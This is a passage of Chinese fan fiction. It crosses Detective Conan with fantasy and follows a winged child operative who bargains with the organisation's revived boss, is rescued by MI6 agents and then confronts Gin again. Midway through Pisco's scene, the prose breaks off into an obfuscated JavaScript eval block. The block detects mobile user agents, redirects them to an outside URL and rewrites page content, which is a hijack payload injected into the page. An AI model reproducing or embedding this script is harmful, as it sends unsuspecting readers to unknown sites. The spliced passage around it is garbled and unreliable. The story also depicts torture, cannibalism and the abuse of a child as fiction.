乌丸莲耶觉得自己抓到了另外一点筹码:“你之所以叫我出来,是因为我的身体只能卖给我。” “是因为阿莲最有钱啦,”飞鸟彻羽摊手,“好吧,就算是你说得这样好了吧,阿莲好聪明哦,一下就猜对了——你敢赌吗?” ——他不敢。 “你再这样掰我的翅膀,我一个字也不会说的。” 飞鸟彻羽有自己的一套自成体系的逻辑:要么在挨打之前就全部都倒出来,这样损失了讯息但是不用受伤,要么在最后也不要透漏一个字,这样虽然没能保全自己至少保留的情报。 ——总好过一开始嘴硬的不行,结果中途到了一半又坚持不住,再全都到了个干净。 那算什么? 算自己欠打吗?还是自己喜欢做亏本生意,两头都抓不住? 当然,谈判的技巧并不是简单的仗着自己占据了上风,就一味地压着对方围追堵截,漫天要价,落地还价,张弛有度才不会谈崩。 “要不这样好了,我们各退一步,我帮你控制身体,你把财产转给阿阵好了。” “说实话,至少目前我没办法解决爸爸妈妈,他们两个不是现在的我可以应付的——不过我可以帮你多延长一点现在的状态,或者说一点成功的经验?听不听在你。” 一想起阿阵和种在组织里面的萝卜一样,死活不愿离开自己的萝卜坑,烂也要烂在组织里面,飞鸟彻羽就心里一阵憋屈。 “他是你们养的走狗,死了也要死在家门口,他死都不愿意离开组织,给他也不会把钱转移。反正组织都是你的,钱还在组织里,差不多就算是没给,四舍五入你就算是没有损失。” 乌丸莲耶:……你是会四舍五入的。 男人突然意识到,自己拿捏错了方向。 香槟根本不怕死,他诡异的脑结构也很难真正像人类一样思考问题,从一开始选择和他商量,实际上就已经是错了方法。 ——应该把琴酒叫回来的。 男人将信将疑,放松了力道,但是手还握在飞鸟彻羽另一边没有折断的翅膀上,预防他有什么攻击行为可以折断另一边的翅膀,及时阻止: “……十分之一。” 这就算是有门。 但是飞鸟彻羽很不愿意:“不行,太少了。” 从三分之一立马缩水到十分之一了,黑心的狗资本家! 这么一点够谁花? 乌丸莲耶咬死了不愿意松口:“不能再多了,再不同意我就把琴酒叫回来,说你讹我的钱。” 杀手要那么多钱干什么? 这种消耗品,说不定哪天就死了不能用了,到时候总有更好的更新的更年轻的补上他的空缺。 飞鸟彻羽瘪瘪嘴,在心里开始默默地委屈。 反正这种时候阿阵才不会站在自己这一边呢,他肯定站在臭老头那边。 好烂的大人。 一百多岁了还要找阿阵告状。 乌丸莲耶拿捏住了小混蛋的把柄,理所当然地就有了威胁他的权力:“再这么贪心,我就要怀疑琴酒是叛徒了。” “琴酒刚刚被送进审讯室了吧?本来只是例行公事走个过场……现在,哎呦,不好说啊——好孩子,你要不然猜猜看,在审讯室里面被打成叛徒,琴酒能不能安全脱身?” 对于自己来说,现在的琴酒只是一个杀手而已,好用不假,但是也没到不可替代的程度,一旦这个代号现在的持有者死掉,代号空缺下来,组织立马会物色新的成员来接替他的位置——本来代号就是循环利用的,谁死了组织都会正常运转。 但是对于香槟来说,“琴酒”这个代号反而是讨厌的东西,重要的是顶着这个名字的人,死了就是死了,不会再有第二个,是独一无二且不能被替代的,至少目前香槟自己是这么认为的。 ——这怎么不算是“掌握了稀缺资源就是掌握了定价权”呢? 一边威胁还不忘一边取笑他,作为之前香槟拿捏自己的报复:“说不定被诬陷之后,琴酒就能愿意和你回家了。” “……你都说了是诬陷了。” 这说的,乌丸莲耶就有点不爱听了,话怎么能这么说呢? “我是BOSS,我说谁是叛徒,谁就是叛徒。” 眼见着香槟一时脑子还转不过弯来,狡猾的老东西循循善诱:“这样多好,我认他当继承人,你们两个继续在组织里面当兄弟,让他当你哥哥好不好?” 细细想来,管琴酒可比管香槟容易多了: 琴酒至少是个正常的人类,情绪稳定能力过人,智力水平处于人类中最上那一小撮的水平,性格也还算不错,是可以完全理解意思并且完美执行的得力下属,而香槟是脑子不正常的纯粹神经病。 管琴酒只要给他下达任务就好,他自己会卷起来保质保量的干活,为了组织压榨自己的时间工作,管香槟……被他咬两口就老实了,所以干脆把烂摊子踢给琴酒,事实证明琴酒的全能程度,连管理塞壬都很擅长。 香槟之前说他是小型犬,实际上塞壬才更像是狗狗。 会对着主人欢快地甩尾巴,然后平等地龇牙咬外面来来往往经过的所有人,被狗咬了难道应该和狗理论,或者干脆咬回去吗? ——正常人都会去找主人讨个说法的吧。 男人伸手去捏小孩不断抖动的耳羽,事实上他早就想这么干了,实在是香槟忍着痛意,努力保持声音平静的时候,却很难控制耳羽,一直扑棱扑棱的,看得人心痒。 然后被飞鸟彻羽伸手,超用力的拍开。 好你个大头! 虽然心里不太愿意,但是飞鸟彻羽也知道要太多是不可能被满足的,十分之一算是双方都可以勉强接受的结果。 再多要求的话……就该安排审讯室好好“招待”阿阵了吧。 十分之一就十分之一吧,飞鸟彻羽还是有些憋气的认下了,反正阿阵就是喜欢过这种奴隶一样还要卖命的苦日子。 骨折的疼痛程度恰好卡在勉强可以忍受的节点上,塞壬忍了太久疼得实在有点受不了了,对他伸手:“……给我。” 钱都给了,魔力这种可再生的东西更不用说,即便如此,吝啬的男人还是小气的只划出一小部分,刚刚够香槟止住头晕和固定好翅膀,又不至于完全愈合的程度,以防他再生事端。 飞鸟彻羽缓过神来,开始履行诺言。 小孩转身进了书房,找到琴酒的匕首,划开手心,把涌出来的鲜血为给他。 澄澈的味道随着血液一起被吞咽下去,像是甘甜的溪水,立竿见影,治好了干渴的顽疾。 伤口不深,刚吃了没多久很快就止住了血。 饱受“夺舍”折磨的男人久旱逢甘霖,忍不住扯开手心已经愈合的伤口,血液再次涌出来,洗净体内的污浊。 飞鸟彻羽小心地控制着魔力的游走方向,指尖沾了自己的血,写在男人的手臂上,缩成一粒小小的痣。 “……写了什么?” 飞鸟彻羽用力把手抽回来,贫血让他脸色有些难看:“我帮你清理掉其他杂音,直到你背弃约定的那一天。” 男人认识这个魔法。 前任白兰地的小把戏,双方做出约定,魔力总量高的那一方身上留下痣一样的印记,并且可以随时单方面毁约。 ——完全只保护强者一方权力的束缚。 “你没有单方面撕毁约定的资格。” “我有,”飞鸟彻羽伸手摸上了自己的眼角,下面的那一颗泪痣,“我和阿阵也有过约定,签在我身上的束缚可以让我隐约感受到对面是否还存在,你也可以,一旦我失去阿阵那边的生命反馈,我就放弃身体的支配权。” 你找别人履行承诺去吧。 “……他是个杀手。” 男人心说飞鸟彻羽果然是个神经病,普通人尚且不能完全规避危险,更何况是这种职业。 飞鸟彻羽即使是发表赖账宣言也是理直气壮:“那我没办法,谁叫咱们三个里面只有你怕死呢。” ……倒也不是不能操作。 两人都和香槟有约定,和两人之间有直接约定有本质上的区别。 塞壬并不是长情的动物,至少香槟不是。 一想到香槟小时候明明最喜欢围着自己转,眨着大眼睛信誓旦旦地保证“最喜欢阿莲”,在看看现在,不过几年没见,就开始梗着脖子威胁自己,男人默默在心里流下两行辛酸泪。 香槟的保证,还有他的喜欢,都是不作数的东西。 现在说着“最喜欢”,过不了多久就被抛在脑后,另寻新欢了,不长情这点他没能遗传自己的父母,也不知道像谁。 ——多给他塞几个“好朋友”,用不了多久他就会把琴酒给抛在脑后了。 飞鸟彻羽不知道对方是怎么样在心里诋毁自己的形象,认真叮嘱着注意事项: “其他的竞争我可以插手,但是玛格丽特和克里斯蒂安没办法——他们的魔力总量太多了,不是我能干预的。” “不过好在没有其他强大的组件,总的来说就是你们三个人之间的竞争。” 男人就事论事:“你最好保证我能时刻保证身体的控制权,不然另外两个不会放过你的——玛格丽特和克里斯蒂安都是你杀的吧?” “是污蔑哦,阿莲好过分,”从“虚伪”这个角度,双方才是如出一辙,刚刚还在剑拔弩张地互相威胁,企图拿捏住对方的把柄夺得更多的利益,现在又开始佯装之前的一切都没有发生过,“爸爸是被妈妈吃掉的,妈妈是被你杀死的。” 眼见着香槟又装起来了,男人也懒得反驳他。 ……你最好真的是。 飞鸟彻羽开始非常生硬的转移话题: “不过阿莲自己也知道,不是所有的组件都有参与竞争的资格吧?” “强大的才有资格发声,弱小的则会在那之前被和他/她高度相似的其他个体吃掉,所以理论上来讲,阿莲只要多多摄入和自己更相似的组件,权重就会增加。” “是哪种相似?” 飞鸟彻羽笑得活泼开朗,让他怀疑塞壬根本就是在用脸骂他:“没有魔力的寿终就寝的有钱老头。” 这么不体面的事情被咽下了一半,另一半被从舌根漏了出来: “你叫我去……尸……” “活人你都没少吃欸,”飞鸟彻羽没觉得这有什么,虽然同样是缺德,比起吃尚且存活的个体,死人至少不伤害生命,“平常人类吃的鸡鸭鱼牛羊肉也都是尸体。” 这么一对比,劝说他少杀生的自己真是佛祖转世。 男人脸色不好看:“……在这之前呢?” 还有几个小时根本没办法直接一步到位。 “杀掉。” 飞鸟彻羽伸出手指,点在自己的太阳穴,眼神中的戾气仿佛指代的是两只恶心的虫子:“秘银武器在他们占据身体的时候直接毙命,或者像我之前那样使用魔法也可以,镶合体不会死,做掉排在你前面的人,自然就轮到你了。” “不过这个办法治标不治本,还是要你自己能赢才行。” 男人又塞给飞鸟彻羽一团魔力,帮助他补充缺失的血液和之前的伤口:“他们两个怎么你了?这么恨他们?” 自己死后离作为镶合体诞生中间横跨了一年,这其中究竟发生了什么,能叫香槟说出这种话来? 明明按照自己生前的记忆,他小时候是真的非常乖巧可爱的那种性格,偶尔有点小脾气——字面意义上的乖巧可爱。 飞鸟彻羽不想和他谈论这个,拧着眉拒绝道:“死了就是死了。” “我也死了,”乌丸莲耶意识到这其中有什么微妙之处,“你弄出来的镶合体?” 飞鸟彻羽“哼”了一声,不否认也不拒绝:“所以看在你现在还能站在这里和我说话的份上,感恩戴德吧。” 这死小孩:D 狗脾气立竿见影的变得稀烂。 “琴酒真是给你惯坏了。” 不过现在不是适合纠结家庭教育的时候,当务之急的尽可能夺回主动权,顺便找到一个能在任何时候帮忙清理二位的“清洁工”。 男人抱起坐在沙发上的小孩,推门而出,迎上了在外面等候多时的匹斯克的眼睛。 究竟哪个是属于BOSS的眼神,作为组织的元老,怎么可能认不出来? 冷汗瞬间浸透了整个后背:“BOSS您……回来了。” “是啊,这段时间,你们都很能干嘛,你,还有朗姆。” 男人给他戴上新的束缚器,把塞壬塞进旁边等候多时的百加得怀里:“带他去看伤。” 百加得像是抱了个烫手的山芋,抱也不是扔也不是,战战兢兢地哆嗦着手:“去……去实验室吗?” 笨。 “去组织的医院。” 飞鸟彻羽百无聊赖地打了个哈欠。 算算时间……金酒那边应该也差不多了。 * 飞鸟彻羽坐在车后排,很乖巧的给自己系上安全带。 百加得的受难史告诉他,香槟是不可能和“乖巧”这个词画上等号的,塞壬静悄悄,必定在作妖。 男人借着后视镜,第一百零二次自以为隐秘的观察着后座,只见香槟依然还是保持着那个看向窗外的姿势,路边的景色飞快地从眼球中飞驰而过,没发现有什么特别的。 “……你叫什么名字?” 百加得后知后觉地意识到,香槟是在和自己讲话,为了防止香槟回去用自己的名字扎小人,低低的回应了自己的代号。 飞鸟彻羽听见了,也没做什么反应,不知道是满意还是不满意。 短暂的宁静像是暴风雨前的乌云,叫人心中忐忑。 三。 这条是前些天新通的公路,走的人不多,总共两辆车,另一辆也是组织成员,保持一小段距离,坠在后面。 百加得忽略不了心中异样的感觉,再次确定周围没有异常。 二。 一辆普通的白车拐入公路,加速行驶,逐渐拉近之间的距离。 “坐好。” 百加得脚踩油门提速,企图甩开身后的尾巴。 没成想对方也跟着提速,死死咬在后面,怎样也甩不掉,三辆车就这样在公路上竞起速来。 一…… 百加得企图冲过这一个十字路口,联上车载蓝牙,带着香槟不方便交火,只好尽快摆脱追踪。 “这里是……” 侧面径直冲过来另外一辆黑车,百加得躲闪不及,打满方向盘,实打实地撞在了路灯上,安全气囊弹出,失去了意识。 黑车协同白车一起截停了另一辆组织的车辆。 为首的显然是从白车下来的一个淡金色短发的干练女人,带领几个身穿便服的年轻人经过短暂的交火,把两个犯罪分子赶下了车,老实铐住,自己领着另外一个很眼熟的男人走向了车祸现场。 飞鸟彻羽这一侧的车门在刚刚的撞击中变形了打不开,女人尝试了两次未果之后,指节叩叩车窗,把脑浆都给摇匀了的飞鸟彻羽唤回意识。 车窗做了防窥,从外面看不见里面的情况,只好出声询问。 “还清醒吗?” 飞鸟彻羽也敲敲玻璃。 “躲一下,”女人抽出手枪,对着车窗开了两枪,然后一拳打碎了满是裂痕的车玻璃,溅起一片碎玻璃,被飞鸟彻羽伸翅膀挡下,一双绿色的眼睛和塞壬对上视线,“情况还好吧?” 第三枪打碎了扣在飞鸟彻羽脖子上的束缚器,紧接着从风衣的口袋里摸出证件:“我是军情六处特工,赤井玛丽,负责担任此次行动的指挥工作,不用担心,你现在安全了。” 获得魔力自由的飞鸟彻羽第一时间使用言灵,治疗的时候偷偷昧下的一点魔力被挥霍干净,顺着刚刚签定好的约定到达目标耳畔。 【晚安】 原本还在和时间赛跑,争取多做一些准备的男人措不及防地在众目睽睽之下栽到了下去,把坐在身边小心翼翼地汇报着工作的匹斯克吓得差点心脏骤停。 ……是要换回来了吗? 还是又是BOSS的考验? 说实话,头脑精明的BOSS可比一身魔力偏偏颅腔里面填的都是稻草的脑残怪物可怕多了。 后者主要是给香槟带来心理压力,只要周围的人恭恭敬敬叫一声BOSS,就可以解决九成以上的问题,剩下的百分之十,怪物偶尔精明的时候,只要别发表意见,乖乖按照他的吩咐去做,也可以相安无事。 可是现在最糟糕的一种情况发生了,有脑子又有魔力的BOSS回来了。 在这种危急时刻,先前和朗姆所有的勾心斗角互相算计都不值一提,一瞬间,朗姆就成了匹斯克最最真挚的兄弟,同一条战壕里面的老战友。 先前几十年,两个老家伙在BOSS手下互相支持着讨生活的情谊一桩桩一件件全部涌上心头。 匹斯克从来没有像今天这样,一想到朗姆那张丑得处心积虑的老鼠脸,燃起这么汹涌澎湃的倾诉欲,从黑名单放出早就积灰的“老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14481207|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 战友”,决定等下一次朗姆再管自己要钱的时候,再把他关回去。 手指噼里啪啦的几乎要舞出残影,大段大段的文字络绎不绝。 两鬓发白的匹斯克一时间拿不定主意,轻轻欠身,探过头去,企图唤醒不知道又是在搞哪一出的BOSS: “您还好吗?” 连续叫了几声都没有答复,反而在背部发出来一声含糊的呓语。 ……背部没有发声器官吧? 匹斯克第一反应是自己听错了,但是秉承着交心谨慎的行事风格,连滚带爬地拉开距离,顺便不忘命令所有人退后。 下一瞬间,原本精瘦的身体上像是火山喷发一样,钻出无数具流着黑色尸水的活的尸体,完全不遵循物质守恒定律的喷涌开来,向着四周逃逸的活人追去。 前面的还没有跑远,后面的就紧紧压上,一瞬间情况乱成一团, 镶合体完全失去了所有话事人是这样子的,原本被魔力压缩在一个狭小的身体里面的尸体会完全失去约束,造成的灾难绝对是现象级的。 先前先清理了玛格丽特和克里斯蒂安,后来又在阿莲的帮助下清理了其他组件,最后又用言灵催眠了阿莲…… 可惜这种天时地利人和的好事几乎不可能复刻,组织光是料理阿莲带来的麻烦就要焦头烂额,短时间内应该分不出太大的精力给自己。 阿阵之前被送进了审讯室,镶合体再怎么危害深远也摸不到他,所以也很安全。 当着所有人的面干了大事的飞鸟彻羽默不作声,悄悄打量着赤井玛丽: 眼睛……很奇怪,下眼褶好深,像是绿色的蝴蝶展开翅膀。 赤井玛丽也在细细打量着对面的这个孩子,和情报一致,十岁,看起来比秀吉小一点,湿漉漉眼睛盯着自己看。 ……看起来不太排斥自己。 【喜欢绿眼睛】 赤井玛丽突然想起,赤井务武先前写在任务报告里面,被重点加粗的描述。 本以为是小题大做,现在看来确实是必须着重强调的要点情报。 于是女人上前两步,探进上半身,帮飞鸟彻羽解开安全带,从车窗里面把至始至终都一声不吭的小孩抱出来。 驾驶座上面昏迷不醒的男人也被拖出来,塞进另外几辆刚刚赶到的车内,被分开管理,背后露出金酒那张熟悉的脸来,褪下了卧底的面具,倒是显得严肃了很多,真的有几分严肃大人的样子。 飞鸟彻羽歪歪头,算是重新认识一下这个熟人:“……你叫什么名字?” 男人接过塞壬,摸了摸小孩的头,小心地避开了他头一侧的伤口,意外发现手感真的不是一般的好,像是雏鸟浓密柔软的绒羽。 “赤井务武。” 不是金酒。 哦。 “我叫飞鸟彻羽。” 也不是香槟。 作为随行“人员”,拖把也扑扇着翅膀降落到飞鸟彻羽的袖口,很是兴奋地嘎嘎叫。 * 赤井务武第一次以卧底的身份,和飞鸟彻羽接上头,是在那次从安全屋里面接手了和飞鸟彻羽半点不对付的猫之后。 后来赤井务武回想的时候,总感觉黑泽阵可能也是有点异常在身上的,不是说一定有魔法,至少也是饲养员的天赋,当少年犯属实是浪费了天分: 组织上上下下都没辙的塞壬,让他养的精力过剩,整天就知道坏心眼子骗人。捡回来时候半死不活的猫崽,那时候也已经被黑泽阵养成了一辆半挂,提起来沉甸甸的手感,感觉毛里面都是实心的。 刚刚和塞壬干了一架,挂了点彩的猫比看起来还要严重些,被接上车的时候一直止不住的干呕,吐又吐不出来东西,无奈,赤井务武只好驱车去往最近一家还在营业的宠物医院。 “猫误食了不该吃的东西,开点药吐出来就好了。” 宠物医生开的药立竿见影,回到安全屋,给它喂下不久,猫咪很快就在他的枕头上吐出来一个小小的红色蜡丸。 赤井务武心间涌上来些许不详的猜测,会这样传递消息的,除了那个一肚子坏水的女妖小鬼,他想不到第二个。 搓开蜡丸表皮的红色部分,里面是一个被揉的很小很小的纸条,上面写着一串数字,一到七随机组合,看起来像是什么密码。 即使从一开始就已经确定了密码的来源,赤井务武也一时没发现解密的关键。 只有数字一到七,可能是简谱,也有可能是别的,但是没有密码表,也一样没有办法破解——送回去的同事也没能带来什么好消息。 倒是送回去一起化验的蜡丸外壳有了点线索。 “从里面检测出来苹果的果蜡。” ——苹果本身会产生一点果蜡,这是可以食用的,但是一些黑心的商家为了让自己的水果看起来更加红润,会人为的在苹果上面涂这种工业制造的合成蜡,以达到促销的目的。 也有人会专门购买这种“毒苹果”作为贡品,反正死人也不能吃东西,“毒苹果”多裹了一层蜡,更好看不说,也能保存的时间更长。 赤井务武可以想象到,对方可能是从某个墓碑前偷拿了“毒苹果”,然后一点点把上面的蜡弄下来,小心地用火烤化,然后包裹在藏着秘密的小纸球上,硬塞进猫的肚子里送了出来。 工业生产的人造果蜡不好消化,熔点也高些,可能保护纸球时间更长。 结合自己“刚好知道”的某一个小鬼,行动轨迹和推测完全重合,并且非常兢兢业业地努力给组织找着不痛快……倒是更加印证了自己对秘密来源的猜测。 ——怪不得会被猫抓。 密码的破解契机是在后来的一次和另外一个负责监视香槟的代号成员同行,就是后来被他从驾驶座上面拖出来的傻大个,百加得。 对方对着“金酒”大倒苦水,抱怨黑泽阵不在家,独自看守香槟的日子根本就不是人应该干的,表示组织应该专门设立一项资金补助,用来赔付这些从事特殊工作而受到精神损伤的成员精神损失费。 “您能想象吗?香槟对我们态度之恶劣,根本就是精神虐待的程度!” 一想到自己过得这是什么苦逼日子,百加得就忍不住潸然泪下:“起初还是随便叫我们的名字,指定我们中的某一个人做事的时候会故意叫错名字,然后再对我们表示不满。” “到后来就变成随便拿各种奇怪的名词代指我们,并且事先完全没有‘起名字’的过程,我甚至在同一个下午,被先后叫了23个不同的名字——没人能打破我的记录。” “再到现在我们连人话都不配听了,他和大哥商量出来一张乐谱密码,不知道从哪里弄来一个会发出各种声音除了哨笛声的哨笛,就是那种每一个字母都有对应一小段旋律的那种,现在他和所有人都用这根哨笛交流。” “本来之前香槟做出什么过分的行为的时候,我们只要去找大哥诉苦,只要是合理的要求大哥都可以出面解决,稍微有一点点过分的要求,只要放弃尊严全力求大哥也基本可以解决,但是现在,大哥也放弃我们了!” 赤井务武大概意识到,比起来自香槟的精神折磨“大哥”的“放弃”对他的精神打击更加严重。 “大哥从小学习钢琴耳濡目染,而且还有绝对音感,他们两个完全可以无障碍交流,所以大哥这次不觉得我们是在提合理要求了。” “是吗,那还真是不幸啊,”赤井务武熟练地展现自己根本没有的同事关怀,像是一个没有感情,只有技巧的捧哏,然后顺理成章地提出“合理要求”,“是什么样的密码,让这么多人都头疼不已,给我看看呗?” 要么说香槟总要折腾百加得,也是有他自己的原因在身上的,毕竟这么憨的确实不怎么多见——并非受害者有罪论,硬要追根溯源的话,百加得算是罪犯,香槟才是真正的被害人,不但被虐待被绑架被做实验,还被监禁限制人身自由。 不能因为罪犯本身的智力原因,导致他看起来很可怜,就忽略了他的罪行,转而指责受害人。 赤井务武一面接过手机,背下来这张表格,一面熟练地给自己做着心理建设。 按照这张表格,自己拿到的那串数字,翻译过来应该是:NOC ——卧底的意思。 “怎么发现的证据?” 再又一次送香槟去实验室的时候,赤井务武特意避开了人群,想要找出自己暴露的原因。 “没有证据,就是一点……”小孩看着他,一时间找不到合适的词语来形容,“一件事情发生了,促进这件事情发生的人总有目的,为了获得自己想要的好处——但是金酒在帮阿阵闯实验室的时候,我想不到你能获得什么好处。” 所以你不是金酒。 ——塞壬特有的奇怪脑回路。 “百加得是个嘴碎的还玻璃心的傻瓜,只要多欺负他一点,他就会四处找人哭诉的。”所以可以借他的嘴,说出一点不适合自己开口讲的东西。 “所以你要救我!”香槟做什么事情都有一种很微妙的理直气壮,即使是在要求别人的时候,“作为交换我会帮你收集证据的。” 从那以后就开始用纸币交流:赤井务武递给他一沓排好顺序的纸币,每张纸币的固定某一位的数字排列下来就是他想对应的内容,篇幅受限,往往只有短短的几个字母,绝大多数时候需要香槟连蒙带猜,然后指使乌鸦给他传信。 直到这次暴露之前,他没能等来香槟的情报,而是那只特殊的,只有它才能跟在香槟身边的白颈鸦,站在窗台上把玻璃啄得咔咔响。 ——出事了。 * 这次行动的主要目的,就是在成功接应行踪暴露的赤井务武的前提下,尽可能的解救香槟(现在是飞鸟彻羽了),因为暴露早就有迹可循,mi6早就做好了充分的准备,现在全部打算归队。 飞鸟彻羽乖乖坐在车后座,等着赤井玛丽给自己处理伤口。 先前最严重的部分已经在魔法的作用下愈合了大半,现在只要小心疗养,但是因为伤口一开始太深的缘故,可能会留下后遗症或者造成毛孔损伤之类的——毕竟是在比较敏感的头部。 赤井务武在驾驶座上叼着烟,考虑到伤员的情况并没有点燃,时刻保持着全身心的警惕,准备和负责接应的同事碰头。 “……你们有多少人呢?” 飞鸟彻羽被旁边忙着给自己清理伤口的手弄得浑身不自在,耳羽控制不住地来来回回去拍她的手背。 “别打探不该知道的,”赤井玛丽早就在赤井务武的情报中得知了,千万不能把他当普通的小孩对待,如果不想一摸脖子发现少块肉的话,“你现在应该担心的是好好休息,别落下病根。” “那就是不太少了?” 飞鸟彻羽又开始假装听不懂人话了,赤井务武透过后视镜,看见小孩转来转去的眼睛,一看就是又在打鬼什么主意。 男人叼着烟,含糊道:“……大概够参与一次大型行动的人手和装备。” 飞鸟彻羽也不清楚“大型行动”是有多么“大型”,胡乱点点头:“加上同样也在这附近,目前不负责组织相关的行动的其他人呢?” 世界上值得m16注意的事情当然不可能只有组织,特工这种东西就像是雨后的蘑菇一样,发现了一株旁边就会零零散散的有很多,只是每个人都有自己的任务要做。 夫妻之间独特的默契,让两人在镜中对视了一眼,比起更了解飞鸟彻羽的赤井务武,赤井玛丽在看见他的眼神之后心跳漏了一拍:“如果有需要的话,我可以负责联络。” “可能需要很多人,”飞鸟彻羽抱着搭车的拖把,开始数手指,“刚刚组织发生了间很紧急的大事,现在我们做什么他们可能都不会能腾得出手应对我们……” 小孩在夫妻二人热切的目光中声音越来越小,最后几不可闻:“我知道组织在最近的实验室的位置——就离这里不太远,现在去的话应该还能来得及。” “还有另外一间,在日本的实验室,两家至少在我上次离开之前都在做人体实验……” 翻译在两个大人耳朵里,自动变成:罪证、罪犯、情报……还有送上门来的,日本公安的人情! “能在地图上画出来吗?” 飞鸟彻羽摇摇头:“我几乎没有在清醒的时候进出过实验室,但是它可以带你们去。” “这座城市的每一只乌鸦都可以,它们都是我的眼睛。” 怪不得说,“叛徒”比“卧底”更招人恨,只有自己人才知道从哪里捅刀子最疼啊! “你有证据吗?” 但是赤井玛丽并没有被天上的馅饼砸昏了头,而是作为一名专业人员,第一时间对非同事来源的情报采取质疑态度:“不是说我们怀疑你别有用心,但你自己心里也清楚,你是被解救的人质,不是被解救的同伴。” 她尽可能减少专业用语,保证对他们这个职业没什么交流的小孩子也能听懂——我们没有信任基础。 证据真的没有欸…… “我可以和你们也立下束缚,保证我现在不会撒谎?不过要等我先恢复一点魔力才可以,之前的都用来治疗伤口了。” 刚刚好不容易留下来的一点都用给阿莲了。 一想到这,飞鸟彻羽就有些悲愤,为什么魔力总是不够用啊! “……不用,”赤井务武知道,等下去这么好的机会可没有第二次,“用你的名字作为信任交换。” “你的本名。” 飞鸟彻羽于是翻出来记忆深处的那串咒语: “阿纳托里·米哈伊尔维奇·拉斯柯尔尼科夫。” 76.二分之一法兰西75 时隔九年没再见一面,当年那个青涩锐气的少年杀手已经长成了如今眼前狷狂果决的头狼,像是凛冽的风雪,将过往的记忆雪花似的撕得粉碎。 塞壬更是天差地别,从小小的虚弱一团变……倒是真没怎么变。 居高临下地俯视着这双和记忆中相差无几的鸳鸯眼,还是和之前如出一辙,仰着头目不转睛地仰视着他,一眨不眨地。 小狗一样。 男人突然感觉自己这样很没意义,高抬贵手,在皮肤上被摁灭的烟头提起,留下一个新鲜的烫疤,肉眼可见的速度愈合,重新坦露出三粒并排的殷红泪痣,耀武扬威似的挑衅。 飞鸟彻羽倒是和以前一模一样——没有一点长进。 “……所以你勾搭上那只老鼠,捣毁了组织的实验室。” “两座。” 男人轻嗤一声,不知道是先嫌弃叛徒,还是先嫌弃蠢货。 带着漆黑手套的左手伸进口袋,摸出一个白色的塑料药瓶,没有标签,看不出来是什么作用。 修长的指尖捏住瓶盖轻松扭开,倒出两粒乳白色带黄色斑点的药片,躺在手心被递到塞壬唇边,带有种淡淡的柠檬味。 “是什么药?” “□□,”冷酷无情的Top killer一点也不念旧情,冷着一张脸说着残忍的话,“去死吧。” 飞鸟彻羽没闻到□□所特有的苦杏仁味,估计大概是吐真剂之类的,想了想还是用唇瓣吊起药片,没有水努力硬吞了下去,吃完之后也不抬头,把下半张脸埋在他的手心里。 “你没跟mi6走。” “算是吧,”飞鸟彻羽大方承认,“跟着走了一小段路,后来又跑掉了。” 积极自救是一码事,如果不想赤井在出另外的任务时候“意外身亡”,还是识相点尽早滚远些,别连累他们比较好。 ——赤井夫妇救得了组织的人质,但是没人救得了“香槟”。 “跑去一起给公安当走狗?” 飞鸟彻羽感觉好久不见,阿阵讲话更刻薄了。 本来以为要么干脆退回组织杀手和叛徒的关系,见面就动手,要么再多点私人恩怨,质问也好怨怼也罢,总好过像现在这样,波澜不惊的像是一滩死水,看不透水面下的暗流涌动。 意外地过了九年之后还在耿耿于怀啊。 “要是阿阵讨厌公安的话,那我就提交辞呈?不过是一份工作而已,脱离公安总比脱离组织要容易,阿阵做决定就好了吧?” 飞鸟彻羽细细盘算了离开这个合法身份之后,对接下来的行事所造成的各方面损失和种种不便,感觉也完全可以接受的程度。 ——反正只要阿阵点头的话,其他都好说。 可是他不点头也不表态,森然的眼睛像是冰山下几百上千年的冰晶,“敢背叛就杀了你”——他的眼睛是这样说的。 “……阿阵,”飞鸟彻羽伸手扒住他的手腕,“你不会想着能在组织里体面退休,然后寿终正寝安享晚年吧?” “任务失败时被直接处理掉——就是我能想象到的,最大的体面了。” 光是想想就足够疯狂了,飞鸟彻羽明知道他不会做这种荒诞癫狂的疯梦,但还是不死心,小心翼翼地开口和他商量,于是与传闻中如出一辙,以美艳闻名的塞壬天生会蛊惑人心。 “跟我回家怎么样?去尝尝熏鱼和黑死酒。” “或者我们随便去哪里也都可以,我这些年去过很多地方,四处流浪这样子……去佛罗伦萨怎么样?虽然我更喜欢另外一个翻译叫翡冷翠,我在那里有处葡萄酒庄,做点气泡饮料什么的,还有……” 说话的时候,嘴巴开开合合,被搁在手心里,像是一颗鼓动着的,滚烫热忱的心脏。 ——然后收到理所当然地拒绝。 “为什么不能?” 雪境的头狼傲慢又笃定,打断了塞壬的喋喋不休:“我们是坏人,又不是废物。” 年龄差七岁还真是个讨厌的事情,飞鸟彻羽有些泄气。 阿阵在自己现在差不多年纪的时候,估计也是差不多的纠结和撕扯,大概。 甚至这种生长痛早在往前几年就已经开始了:要不然把这个麻烦又没用的小拖油瓶原路打包送回去算了,要不然把组织打到卡上香槟的抚养费取出来让生活好过一点,要不然今天晚上把黏人的小鬼赶出去分床睡…… 很没经验,那时候也看不到什么好处,甚至自己生病了也应该挂儿科的年纪,但最后他还是把这个和自己非亲非故的“麻烦”给拉扯大了。 塞壬褪下柔软的绒羽,拍拍翅膀飞走——这就是他思考过后的答案。 在飞鸟彻羽的心理年龄终于长到可以同样经历这种现实和未来的撕扯,现在正在河中心努力挣扎的时候,他早就渡到河对岸了。把身后的飞鸟彻羽丢在原地,只留下一个头也不回地背影,就这样在视野中越来越小,越来越远。 ……不公平。 好像年长者随便就可以说出否定的话,仗着年龄的优势就可以不给理由,只留下被甩在身后的小孩在抓耳挠腮。 “阿阵现在叫什么名字呢?” 再多露出一点破绽吧,是敷衍的提示也好,或者是陷阱也无所谓——让我知道现在不是只有我自己在犯癔症。 “明知故问。” 植根在飞鸟彻羽心底的执拗,在这些年的“说一不二”“一言九鼎”中悄然发芽,现在堂而皇之地探出头来:“我问阿阵,你现在叫什么名字?” 